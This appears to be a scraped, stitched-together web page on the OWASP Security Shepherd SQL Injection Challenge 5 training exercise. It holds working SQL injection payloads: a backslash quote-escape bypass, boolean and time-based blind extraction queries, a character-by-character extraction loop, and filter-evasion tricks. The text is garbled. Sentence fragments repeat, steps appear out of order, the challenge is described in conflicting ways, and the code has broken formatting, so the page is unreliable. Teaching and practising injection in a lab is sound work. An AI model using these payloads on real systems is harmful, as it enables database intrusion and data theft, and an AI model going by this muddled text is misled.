Sql Injection Challenge 5 Security Shepherd May 2026

OWASP Security Shepherd SQL Injection Challenge 5 requires bypassing single-quote filtering by injecting a backslash, resulting in a payload like \' OR 1=1; -- . This technique unescapes the quote, allowing for an

statement to reveal the VIP Coupon Code. For a detailed breakdown of this solution, visit Security Stack Exchange couponcode from challenges SQL injection 5 #323 - GitHub

OWASP Security Shepherd SQL Injection Challenge 5 is a hands-on exercise designed to teach advanced exploitation techniques by using sub-query injection to bypass input filters and extract a hidden VIP coupon code. The challenge, often featuring a "Troll Shop" scenario, requires using UNION SELECT techniques to map backend table structures and retrieve secure data. For more details, visit GitHub. couponcode from challenges SQL injection 5 #323 - GitHub

Here’s a text explaining SQL Injection Challenge 5 from the OWASP Security Shepherd project, including the goal, the vulnerability, and how to solve it. Sql Injection Challenge 5 Security Shepherd

The Scenario

In Challenge 5, you are usually presented with a simple user interface containing an input field—often a search bar or a user ID lookup. When you input valid data, the application returns specific details (like a username or email). However, the goal is not just to log in; it is to retrieve hidden data (specifically, the "Admin" password or a specific flag) that is not intended to be visible.

The key difference in this challenge is often the lack of verbose SQL error messages. Unlike the "Low" or "Medium" challenges where syntax errors might reveal the database structure, Challenge 5 often implements a "Silent" error handling mechanism. If your SQL syntax is wrong, the page simply returns nothing or a generic error, rather than a database stack trace.

Step 3: Determine the Length of the Secret

Now, find how many characters you need to exfiltrate: OWASP Security Shepherd SQL Injection Challenge 5 requires

Payload structure: 5' AND (SELECT LENGTH(hash) FROM keys WHERE id=1) = [N] AND '1'='1

Increment N until you get "Valid". For example:

... = 30 -> Invalid
... = 31 -> Invalid
... = 32 -> Valid

Thus, the key length is 32 characters (likely an MD5 hash). The Scenario In Challenge 5, you are usually

3. Time-Based Blind as Fallback

If the true/false response is identical, fall back to time-based: 5' AND IF(ASCII(SUBSTRING((SELECT hash FROM keys LIMIT 1),1,1)) = 97, SLEEP(5), 0) AND '1'='1

Then measure response time (>5 seconds = true).

Step 2: Extract characters

for position in range(1, key_length + 1): for ascii_code in range(32, 127): # Printable ASCII payload = f"ASCII(SUBSTRING((SELECT column_name FROM table_name WHERE row_condition), position, 1)) = ascii_code" if test_payload(payload): char = chr(ascii_code) target_string += char print(f"[*] Position position: char -> target_string") break

print(f"\n[+] Secret Key: target_string")

What makes a good paper on this topic?

A good paper would include:

Challenge setup – Understanding the goal (e.g., retrieve a hidden value or login as admin without knowing credentials).
Filter detection – Testing which characters/keywords are allowed or blocked (spaces, AND, OR, --, #, ;, etc.).
Injection technique – Using alternative syntax (e.g., /**/ for spaces, %0a for newline, double encoding, or boolean blind with OR 1=1 variants).
Boolean/Time-based blind exploitation – If no error output is visible.
Automation – Python script using binary search or incremental extraction.
Bypass examples – Using %00 truncation, case variation, or inline comments (/*!50000...*/).
Payload evolution – From simple ' OR '1'='1 to ' OR ASCII(SUBSTRING((SELECT ...),i,1)) > x -- .